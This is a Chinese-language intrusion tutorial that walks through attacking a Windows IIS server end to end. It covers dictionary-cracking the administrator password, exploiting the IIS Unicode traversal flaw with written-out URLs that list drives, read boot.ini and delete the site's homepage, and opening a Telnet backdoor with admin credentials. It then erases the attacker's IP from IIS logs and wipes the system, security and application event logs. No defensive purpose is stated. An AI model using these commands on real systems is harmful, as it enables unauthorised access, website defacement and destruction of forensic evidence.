黑客(漏洞攻击)

二、管理员用户和密码

系统用户扫描使用工具软件：GetNTUser，软件主页如图所示：

对IP为172.18.25.109的计算机进行扫描，首先将该计算机添加到扫描列表中，选择文件下的菜单项“添加主机”输入目标计算机的IP地址，如图所示：

得到对方的用户列表了，点击工具栏上的图标，得到列表如图：

利用该工具可以对计算机上的用户进行密码破解，首先设置密码字典，设置完密码字典以后，将会用到密码字典里的每一个密码对目标用户进行测试，如果用户的密码在字典中就可以得到该密码。一个典型的密码字典如图：

选择菜单栏下的菜单项“设置”，设置密码字典为一个文件，如图：

利用密码字典中的密码进行系统破解，选择菜单栏工具下的菜单项“字典测试”，程序将按照字典的设置进行匹配，如图：

三、密码弱口令的寻找

扫描目标计算机扫描软件使用X-Scan，如图所示：

可以利用该软件对系统存在的一些问题进行扫描，选择菜单栏设置下的菜单项“扫描参数”和“扫描模块”，如图：

扫描所得到的结果如图所示：

四、暴力破解

一个字典文件本身就是一个标准的文本文件，其中的每一行就代表一个可能的密码。目前有很多工具软件专门来创建字典文件，下图是一个简单的字典文件。

利用工具软件GetNTUser依然可以将管理员密码破解出来，如图所示。

五、漏洞攻击

使用扫描工具来检测Unicode漏洞是否存在，X-Scan来对目标系统进行扫描，目标主机IP为：172.18.25.109，Unicode漏洞属于IIS漏洞，所以这里只扫描IIS漏洞就可以了，X-Scan设置如图所示

将主机添加到目标地址，扫描结果如图所示。

可以看出，存在许多漏洞。只要是/scripts开头的漏洞都是Unicode漏洞scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir

其中/scripts目录是IIS提供的可以执行命令的一个有执行程序权限的一个目录，在IIS中的位置如图所示。

scripts目录一般系统盘根目录下的Inetpub目录下，如图所示。

利用该漏洞读取出计算机上目录列表，比如读取C盘的目录，只要在浏览器中输“http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\\”

利用语句得到对方计算机上装了几个操作系统以及操作系统的类型，只要读取C盘下的boot.ini文件就可以了。使用的语句是：

http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+type+c:\\boot.ini执行的结果如图所示。

利用Unicode可以方便的更改对方的主页，比如现在已经知道对方网站的根路径在“C:\\Initpub\\wwwroot”（系统默认）下，可以删除该路径下的文件“default.asp”来删除主页，这里的“default.asp”文件是IIS的默认启动页面。使用的语句http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+del+c:\\inetpub\\wwwroot\\default.asp

六、留后门

在运行窗口中输入tlntadmn.exe命令启动本地Telnet服务，如图所示：

在启动的DOS窗口中输入4就可以启动本地Telnet服务了，如图所示：

利用工具RTCS.vbe可以远程开启对方的Telnet服务，使用该工具需要知道对方具有管理员权限的用户名和密码。命令的语法是：“cscript RTCS.vbe 172.18.25.109 administrator 123456 1 23

执行完成后，对方的Telnet服务就被开启了。在DOS提示符下，登录目标主机的Telnet服务，首先输入命令“Telnet 172.18.25.109”，出现确认发送信息对话框，如图所示：

输入字符“y”，进入Telnet的登录界面，需要输入主机的用户名和密码，如图所示：

如果用户名和密码没有错误，将进入对方主机的命令行，如图所示：

七、清除IIS日志

当用户访问某个IIS服务器以后，无论是正常的访问还是非正常的访问，IIS都会记录访问者的IP地址以及访问时间等信息。这些信息记录在Winnt\\System32\\logFiles目录下，如图所示：

打开任一文件夹下的任一文件，可以看到IIS日志的基本格式，记录了用户访问的服务器文件、用户登的时间、用户的IP地址以及用户浏览器以及操作系统的版本号。如图所示：

入侵的过程是短暂的，只会保存到一个Log文件，只要在该Log文件删除所有自己的记录就可以了，用工具软件CleanIISLog.exe。先将该文件拷贝到日志文件所在目录，然后执行命令“CleanIISLog.exe ex031108.log 172.18.25.110”，第一个参数ex031108.log是日志文件名，文件名的后六位代表年月日，第二个参数是要在该Log文件中删除的IP地址，也就是自己的IP地址。先查找当前目录下的文件，然后做清楚的操作，整个清除的过程如图所示：

八、清除主机日志

主机日志包括三类的日志：应用程序日志、安全日志和系统日志。可以在计算机上通过控制面板下的“事件查看器”查看日志信息，如图所示。

使用工具软件clearel.exe，可以方便的清除系统日志，首先将该文件上传到对方主机，然后删除这三种日志的命令格式为： Clearel System Clearel Security Clearel Application Clearel All

这四条命令分别删除系统日志、安全日志、应用程序日志和删除全部日志。命令执行的过程如图所示：

执行完毕后，再打开事件查看器，发现都已经空了。如图所示：